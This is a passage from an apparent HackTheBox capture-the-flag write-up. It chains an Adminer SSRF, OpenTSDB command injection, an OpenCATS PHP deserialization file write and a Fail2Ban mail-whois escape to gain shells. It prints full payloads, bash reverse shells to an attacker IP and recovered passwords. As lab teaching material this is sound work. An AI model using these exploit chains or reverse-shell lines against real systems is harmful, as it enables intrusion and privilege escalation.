\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelHandler.messageReceived(SimpleChannelHandler.java:142) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]
\tat net.opentsdb.tsd.ConnectionManager.handleUpstream(ConnectionManager.java:128) [tsdb-2.4.0.jar:14ab3ef]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:268) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:255) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.socket.nio.NioWorker.read(NioWorker.java:88) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.socket.nio.AbstractNioWorker.process(AbstractNioWorker.java:108) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.socket.nio.AbstractNioSelector.run(AbstractNioSelector.java:337) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.socket.nio.AbstractNioWorker.run(AbstractNioWorker.java:89) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.socket.nio.NioWorker.run(NioWorker.java:178) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.util.ThreadRenamingRunnable.run(ThreadRenamingRunnable.java:108) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.util.internal.DeadLockProofWorker$1.run(DeadLockProofWorker.java:42) [netty-3.10.6.Final.jar:na]
\tat java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) [na:1.8.0_292]
\tat java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) [na:1.8.0_292]
\tat java.lang.Thread.run(Thread.java:748) [na:1.8.0_292]
Caused by: com.stumbleupon.async.DeferredGroupException: At least one of the Deferreds failed, first exception:
\tat com.stumbleupon.async.DeferredGroup.done(DeferredGroup.java:169) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.DeferredGroup.recordCompletion(DeferredGroup.java:142) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.DeferredGroup.access$000(DeferredGroup.java:36) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.DeferredGroup$1Notify.call(DeferredGroup.java:82) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.Deferred.doCall(Deferred.java:1278) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.Deferred.runCallbacks(Deferred.java:1257) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.Deferred.access$300(Deferred.java:430) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.Deferred$Continue.call(Deferred.java:1366) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.Deferred.doCall(Deferred.java:1278) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.Deferred.runCallbacks(Deferred.java:1257) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.Deferred.access$300(Deferred.java:430) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.Deferred$Continue.call(Deferred.java:1366) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.Deferred.doCall(Deferred.java:1278) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.Deferred.runCallbacks(Deferred.java:1257) ~[async-1.4.0.jar:na]
\tat com.stumbleupon.async.Deferred.callback(Deferred.java:1005) ~[async-1.4.0.jar:na]
\tat org.hbase.async.HBaseRpc.callback(HBaseRpc.java:720) ~[asynchbase-1.8.2.jar:na]
\tat org.hbase.async.RegionClient.decode(RegionClient.java:1575) ~[asynchbase-1.8.2.jar:na]
\tat org.hbase.async.RegionClient.decode(RegionClient.java:88) ~[asynchbase-1.8.2.jar:na]
\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(ReplayingDecoder.java:500) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(ReplayingDecoder.java:435) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]
\tat org.hbase.async.RegionClient.handleUpstream(RegionClient.java:1230) ~[asynchbase-1.8.2.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelHandler.messageReceived(SimpleChannelHandler.java:142) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.timeout.IdleStateAwareChannelHandler.handleUpstream(IdleStateAwareChannelHandler.java:36) ~[netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.timeout.IdleStateHandler.messageReceived(IdleStateHandler.java:294) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) [netty-3.10.6.Final.jar:na]
\tat org.hbase.async.HBaseClient$RegionClientPipeline.sendUpstream(HBaseClient.java:3857) ~[asynchbase-1.8.2.jar:na]
\t... 12 common frames omitted
Caused by: net.opentsdb.uid.NoSuchUniqueName: No such name for 'metrics': 'sys.cpu.nice'
\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:450) ~[tsdb-2.4.0.jar:14ab3ef]
\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:447) ~[tsdb-2.4.0.jar:14ab3ef]
\t... 42 common frames omitted
"}
```

This is a stacktrace. Most of it doesn't even pertain to OpenTSDB. Filtering the lines that have "opentsdb" in them we get:

```
\tat net.opentsdb.core.TSQuery.buildQueries(TSQuery.java:224) ~[tsdb-2.4.0.jar:14ab3ef]
\tat net.opentsdb.tsd.GraphHandler.doGraph(GraphHandler.java:172) ~[tsdb-2.4.0.jar:14ab3ef]
\tat net.opentsdb.tsd.GraphHandler.execute(GraphHandler.java:123) ~[tsdb-2.4.0.jar:14ab3ef]
\tat net.opentsdb.tsd.RpcHandler.handleHttpQuery(RpcHandler.java:282) [tsdb-2.4.0.jar:14ab3ef]
\tat net.opentsdb.tsd.RpcHandler.messageReceived(RpcHandler.java:133) [tsdb-2.4.0.jar:14ab3ef]
\tat net.opentsdb.tsd.ConnectionManager.handleUpstream(ConnectionManager.java:128) [tsdb-2.4.0.jar:14ab3ef]
Caused by: net.opentsdb.uid.NoSuchUniqueName: No such name for 'metrics': 'sys.cpu.nice'
\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:450) ~[tsdb-2.4.0.jar:14ab3ef]
\tat net.opentsdb.uid.UniqueId$1GetIdCB.call(UniqueId.java:447) ~[tsdb-2.4.0.jar:14ab3ef]
```

So, it looks like the issue is `No such name for 'metrics': 'sys.cpu.nice'`. Searching "opentsdb metrics list" online finds [this page of the OpenTSDB documentation](http://opentsdb.net/docs/build/html/user_guide/query/examples.html) that gives some query examples. Let's try the `sys.cpu.system` metric listed. Let's run our modified exploit:

```
python3 CVE-2021-21311.py --host 10.10.14.169 --url http://db.admirer-gallery.htb --redirect "http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.system&o=&ylabel=&xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
```

This produces the same error.

Let's see if we can list the available metrics. Searching "opentsdb list all metrics" finds [this StackOverflow answer](https://stackoverflow.com/a/18437210), which links to the [documentation for the `/api/suggest` endpoint](http://opentsdb.net/docs/build/html/api_http/suggest.html). Let's run our Adminer exploit again but this time we'll get the `/api/suggest?type=metrics` endpoint: `python3 CVE-2021-21311.py --host 10.10.14.169 --url http://db.admirer-gallery.htb --redirect "http://127.0.0.1:4242/api/suggest?type=metrics"`. This produces: `["http.stats.web.hits"]`. So, we can use the `http.stats.web.hits` endpoint.

Now, our chained exploit is:

```
python3 CVE-2021-21311.py --host 10.10.14.169 --url http://db.admirer-gallery.htb --redirect "http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
```

Running this produces `{"plotted":4,"timing":231,"etags":[["host"]],"points":8}`, which means it probably worked!

Now, let's put in a reverse shell instead. We will use the `bash -i >& /dev/tcp/10.10.14.169/28471 0>&1` reverse shell. We base64 encode it to get rid of illegal character so our reverse shell is now: `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvMjg0NzEgMD4mMQ== | base64 -d | bash`. We will also url-encode our payload with [urlencoder.org](https://www.urlencoder.org/) to get: `echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvMjg0NzEgMD4mMQ%3D%3D%20%7C%20base64%20-d%20%7C%20bash`. We start a listener with `pwncat-cs -lp 28471`. Then, we run the exploit:

```
python3 CVE-2021-21311.py --host 10.10.14.169 --url http://db.admirer-gallery.htb --redirect "http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system('echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvMjg0NzEgMD4mMQ%3D%3D%20%7C%20base64%20-d%20%7C%20bash')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
```

This spawns a reverse shell as the `opentsdb` user!

## Lateral Movement

Looking at `jennifer`'s home directory with `ls -la /home/jennifer/` shows that it contains the `user.txt` flag. So, we need to gain access to the `jennifer` user.

Looking at `/etc/passwd`, `opentsdb` does not have a shell: `opentsdb:x:1000:1000::/usr/share/opentsdb:/bin/false`. So, we cannot easily gain persistance.

Uploading and running LinPEAS, we find various passwords:

```
╔══════════╣ Searching passwords in config PHP files
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'cats_dev');
define('DATABASE_PASS', 'adm1r3r0fc4ts');
define('DATABASE_USER', 'cats');
define('DEMO_PASSWORD',  'john99');
define('FORGOT_PASSWORD_FROM_NAME', 'CATS');
define('FORGOT_PASSWORD_SUBJECT',   'CATS - Password Retrieval Request');
define ('LDAP_BIND_PASSWORD', 'password');
define('MAIL_SMTP_USER', "user");
define('TESTER_PASSWORD',  'john99');
define('TESTER_USER_ID',   4);
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'cats');
define('DATABASE_PASS', 'yourpass');
define('DATABASE_USER', 'cats');
define('DEMO_PASSWORD',  'john99');
define('FORGOT_PASSWORD_FROM_NAME', 'OpenCATS');
define('FORGOT_PASSWORD_SUBJECT',   'OpenCATS - Password Retrieval Request');
define('MAIL_SMTP_USER', "user");
define('TESTER_PASSWORD',  'john99');
define('TESTER_USER_ID',   4);
define('DATABASE_HOST', 'opencatsdb');
define('DATABASE_NAME', 'cats_test');
define('DATABASE_PASS', 'dev');
define('DATABASE_USER', 'dev');
define('DEMO_PASSWORD',  'john99');
define('FORGOT_PASSWORD_FROM_NAME', 'CATS');
define('FORGOT_PASSWORD_SUBJECT',   'CATS - Password Retrieval Request');
define ('LDAP_BIND_PASSWORD', 'password');
define('MAIL_SMTP_USER', "user");
define('TESTER_PASSWORD',  'john99');
define('TESTER_USER_ID',   4);
```

Running `grep -r 'pass' /var/www/adminer/` (since that is one of the services that we exploited) displays some commented out credentials in `/var/www/adminer/plugins/data/servers.php`:

```
<?php
return [
  'localhost' => array(
//    'username' => 'admirer',
//    'pass'     => 'bQ3u7^AxzcB7qAsxE3',
// Read-only account for testing
    'username' => 'admirer_ro',
    'pass'     => '1w4nn4b3adm1r3d2!',
    'label'    => 'MySQL',
    'databases' => array(
      'admirer' => 'Admirer DB',
    )
  ),
];
```

Trying the `bQ3u7^AxzcB7qAsxE3` password when connecting via SSH (`ssh jennifer@admirer-gallery.htb`) as the `jennifer` user is successful.

## Privilege Escalation

We sign in as the `jennifer` user with `ssh jennifer@admirer-gallery.htb` (password `bQ3u7^AxzcB7qAsxE3`). We can now get the `user.txt` flag with `cat /home/jennifer/user.txt`.

Running LinPEAS and looking through the output we see references to `/opt/opencats`. Additionally in the LinPEAS "Active Ports" section we see port `8080`.

```
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::16010                :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::4242                 :::*                    LISTEN      -
tcp6       0      0 127.0.1.1:16020         :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::16030                :::*                    LISTEN      -
tcp6       0      0 127.0.1.1:16000         :::*                    LISTEN      -
tcp6       0      0 127.0.0.1:2181          :::*                    LISTEN      -
```

Running `curl 127.0.0.1:8080` reveals an OpenCATS page.

### OpenCATS

"OpenCATS is a Free and Open Source Candidate/Applicant Tracking System designed for Recruiters to manage recruiting process from job posting, candidate application, through to candidate selection and submission." - [GitHub Repo: opencats/OpenCATS](https://github.com/opencats/OpenCATS). Here is the [OpenCATS documentation](https://opencats-documentation.readthedocs.io/en/latest/).

We can port forward the OpenCATS port `8080` to our attacker machine with `ssh -L 8080:localhost:8080 jennifer@admirer-gallery.htb`.

Trying to sign in with the username and password we already know for `jennifer` (`jennifer:bQ3u7^AxzcB7qAsxE3`) is successful.

Searching for "opencats 0.9.5.2 exploit" finds [CVE-2021-25294](https://nvd.nist.gov/vuln/detail/CVE-2021-25294), which links to [OpenCATS PHP Object Injection to Arbitrary File Write](https://snoopysecurity.github.io/web-application-security/2021/01/16/09_opencats_php_object_injection.html). According to [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2021-25294), "OpenCATS through 0.9.5-3 unsafely deserializes index.php?m=activity requests, leading to remote code execution. This occurs because lib/DataGrid.php calls unserialize for the parametersactivity:ActivityDataGrid parameter. The PHP object injection exploit chain can leverage an \_\_destruct magic method in guzzlehttp."

According to [the blog post](https://snoopysecurity.github.io/web-application-security/2021/01/16/09_opencats_php_object_injection.html), we can use [ambionics/phpggc](https://github.com/ambionics/phpggc) to generate a payload by running `./phpggc Guzzle/FW1 <remote_path> <local_path>`. The contents of the the file at `local_path` will be read into the payload and when the payload is executed they will be placed into the file at `remote_path`.

The blog post says we can use this vulnerability by sending a GET request to `localhost:8080/index.php?m=activity&parametersactivity%3AActivityDataGrid=[PAYLOAD HERE]`.

So, we generate a test payload with `./phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/target random_file` where `random_file` simply contains `okay`.

This produces:

```
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A6%3A%22okay%0A%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A15%3A%22%2Fdev%2Fshm%2Ftarget%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
```

So, now we can navigate to the following URL in our web browser, which will create the `/dev/shm/target` file with the contents `okay`.

```
localhost:8080/index.php?m=activity&parametersactivity%3AActivityDataGrid=a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A6%3A%22okay%0A%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A15%3A%22%2Fdev%2Fshm%2Ftarget%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
```

This is successful! Running `ls -la /dev/shm/target` shows `-rw-r--r-- 1 devel devel 50 Feb 28 03:31 /dev/shm/target`. So, the OpenCATS service is running under the `devel` user. The contents of this file are `[{"Expires":1,"Discard":false,"Value":"okay\n\n"}]`, which is strange because my file only had `okay` in it.

Unfortunately, this is a dead end. While we have an arbitrary file read and write exploit, this exploit is only good for places that `devel` has access to. Running `find / -group devel -or -user devel 2>/dev/null` lists all the files that `devel` has permissions on:

```
/dev/shm/target
/opt/opencats/INSTALL_BLOCK
/usr/local/src
/usr/local/etc
```

`/dev/shm/target` is the file we just created, `/opt/opencats/INSTALL_BLOCK` is a simple file used to prevent the OpenCATS installer from running, and both `/usr/local/src` and `/usr/local/etc` are empty and not obviously used for anything. So, we need to find a differnt privilege escalation route.

### Fail2Ban

I noticed `fail2ban` appearing in the LinPEAS logs quite a bit and I have never seen it on a HackTheBox machine before so I decided to look into it.

We can get the version with `fail2ban-server --version`, which returns `Fail2Ban v0.10.2`.

Searching for "Fail2Ban v0.10.2 exploit" finds [this list of vulnerabilities](https://www.cvedetails.com/vulnerability-list/vendor_id-5567/Fail2ban.html), of which one is [CVE-2021-32749](https://www.cvedetails.com/cve/CVE-2021-32749/): "fail2ban is a daemon to ban hosts that cause multiple authentication errors. In versions 0.9.7 and prior, 0.10.0 through 0.10.6, and 0.11.0 through 0.11.2, there is a vulnerability that leads to possible remote code execution in the mailing action mail-whois. Command `mail` from mailutils package used in mail actions like `mail-whois` can execute command if unescaped sequences (`\n~`) are available in "foreign" input (for instance in whois output). To exploit the vulnerability, an attacker would need to insert malicious characters into the response sent by the whois server, either via a MITM attack or by taking over a whois server. The issue is patched in versions 0.10.7 and 0.11.3. As a workaround, one may avoid the usage of action `mail-whois` or patch the vulnerability manually." Versions "**0.10.0 through 0.10.6**" are vulnerable, which means the version the target is running, `v0.10.2`, is vulnerable.

Searching online for "CVE-2021-32749" finds [the GitHub advisory](https://github.com/fail2ban/fail2ban/security/advisories/GHSA-m985-3f3v-cwmm) with a message from the person who found the vulnerability and [this blog post](https://research.securitum.com/fail2ban-remote-code-execution/) also by the vulnerability finder.

We double check the file discussed in the blog post with `cat /etc/fail2ban/action.d/mail-whois.conf` to make sure that the `actionban` value is the same as stated in the article, which it is:

```
actionban = printf %%b "Hi,\n
            The IP <ip> has just been banned by Fail2Ban after
            <failures> attempts against <name>.\n\n
            Here is more information about <ip> :\n
            `%(_whois_command)s`\n
            Regards,\n
            Fail2Ban"|mail -s "[Fail2Ban] <name>: banned <ip> from <fq-hostname>" <dest>
```

So, the text from `printf` gets piped into the `mail` command. According to the [mailutils manual](https://mailutils.org/manual/mailutils.html#index-_007e_0021_002c-mail-escape): "The ‘~~!’ escape executes specified command and returns you to mail compose mode without altering your message. When used without arguments, it starts your login shell. The ‘~~|’ escape pipes the message composed so far through the given shell command and replaces the message with the output the command produced. If the command produced no output, mail assumes that something went wrong and retains the old contents of your message." So, for example, if we could place `~! uname -a` inside the text printed by `printf`, then that command would run as `root`.

The only way we can pipe arbitrary content into `mail` is if we can control the output of `_whois_command`.

The default `_whois_command` command is `whois`. Looking at the `man` page for `whois` we see that it stores it configuration at `/etc/whois.conf`. If we could write to this file we could start our own `whois` server that returns a response with a `~!` in it, which, when the ban action is initiated, would be piped into `mail` and trigger whatever command we wanted. However, we cannot write to this file.

Running `which whois` outputs `/usr/local/bin/whois`, which is strange because it normally should be installed to `/usr/bin/whois`. This makes me think that it might not use the normal `/etc/whois.conf` file as its configuration.

If we run `strings /usr/local/bin/whois | grep whois.conf` we see the following:

```
/usr/local/etc/whois.conf
Cannot open /usr/local/etc/whois.conf
```

Alright, so it reads its confiration from `/usr/local/etc/whois.conf`. This is amazing for us because as we saw earlier the `devel` user has write permissions to the `/usr/local/etc/` directory.

The OpenCATS exploit we tried earlier can write to the `/usr/local/etc/whois.conf` file. However, it adds extra data other than what we specify because of the GuzzleHTTP cookie that is used.

Anyway, we first need to figure out the format of the `whois.conf` file. Searching online finds [this page](http://manpages.ubuntu.com/manpages/bionic/man5/whois.conf.5.html), which says "It's a plain text file in ASCII encoding. Each line consists of two fields: a pattern to match WHOIS object identifier and a corresponding WHOIS server domain name." The site also gives an example:

```
\.nz$             nz.whois-servers.net
# Hangul Korean TLD
\.xn--3e0b707e$   whois.kr
# Private ASNs
^as645(1[2-9]|2[0-9]|3[0-4])$    whois.example.net
```

So, our file should be the following (where `10.10.14.169` is our ip address) because the `.*` regular expression matches anything:

```
.*   10.10.14.169
```

However, this will not work because of the GuzzleHTTP cookie data that gets added to our file. So, our regular expression needs to be `|.*` because the `|` symbol is the "or" operator, which means our expression will match whatever comes before it or anything.

So, our configuartion file should be this:

```
|.*   10.10.14.169
```

We can save this to a file called `whoisconfig` locally and then create the OpenCATS exploit payload with `./phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf whoisconfig`, which outputs the following:

```
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A19%3A%22%7C.%2A+++10.10.14.169%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fusr%2Flocal%2Fetc%2Fwhois.conf%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
```

So, we can navigate to the following URL to create the `/usr/local/etc/whois.conf` with our desired contents:

```
localhost:8080/index.php?m=activity&parametersactivity%3AActivityDataGrid=a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A19%3A%22%7C.%2A+++10.10.14.169%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fusr%2Flocal%2Fetc%2Fwhois.conf%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
```

The file is created as expected with the following contents: `[{"Expires":1,"Discard":false,"Value":"|.* 10.10.14.169\n"}]`.

Now, we just need to start our own "whois" server, which we can do with netcat like so: `nc -nvlp 43 < revshell` where `revshell` contains our reverse shell payload: `~| bash -c 'bash -i >& /dev/tcp/10.10.14.169/4348 0>&1'` (notice the `~|` characters to take advantage of command execution in the `mail` command). We listen on port `43`, which is reserved for whois requests, and we return the reverse shell text.

Then, start a listener to recieve the reverse shell by running `nc -nvlp 4348`.

Attempting to run `whois 10.10.14.169` to test fails with this error message: `Invalid regular expression '[{"Expires":1,"Discard":false,"Value":"|.*': Unmatched [, [^, [:, [., or [=`. Apparently we need to close the braces in our `whois.conf` file. So, instead our configration file should be this:

```
}]|.*   [10.10.14.169]
```

So, we edit `whoisconfig` with `nano` and rerun `./phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf whoisconfig` to get:

```
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A23%3A%22%7D%5D%7C.%2A+++%5B10.10.14.169%5D%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fusr%2Flocal%2Fetc%2Fwhois.conf%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
```

Navigating to the new URL below adds the correct config file:

```
localhost:8080/index.php?m=activity&parametersactivity%3AActivityDataGrid=a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A23%3A%22%7D%5D%7C.%2A+++%5B10.10.14.169%5D%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fusr%2Flocal%2Fetc%2Fwhois.conf%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
```

Now, running `whois 10.10.14.169` returns our reverse shell text just like we want: `~| bash -c 'bash -i >& /dev/tcp/10.10.14.169/4348 0>&1'`.

When `fail2ban` runs `whois` it will also get this text (instead of a legitimate whois response) which will be piped into the `mail` command and will be run because of the `~|` characters.

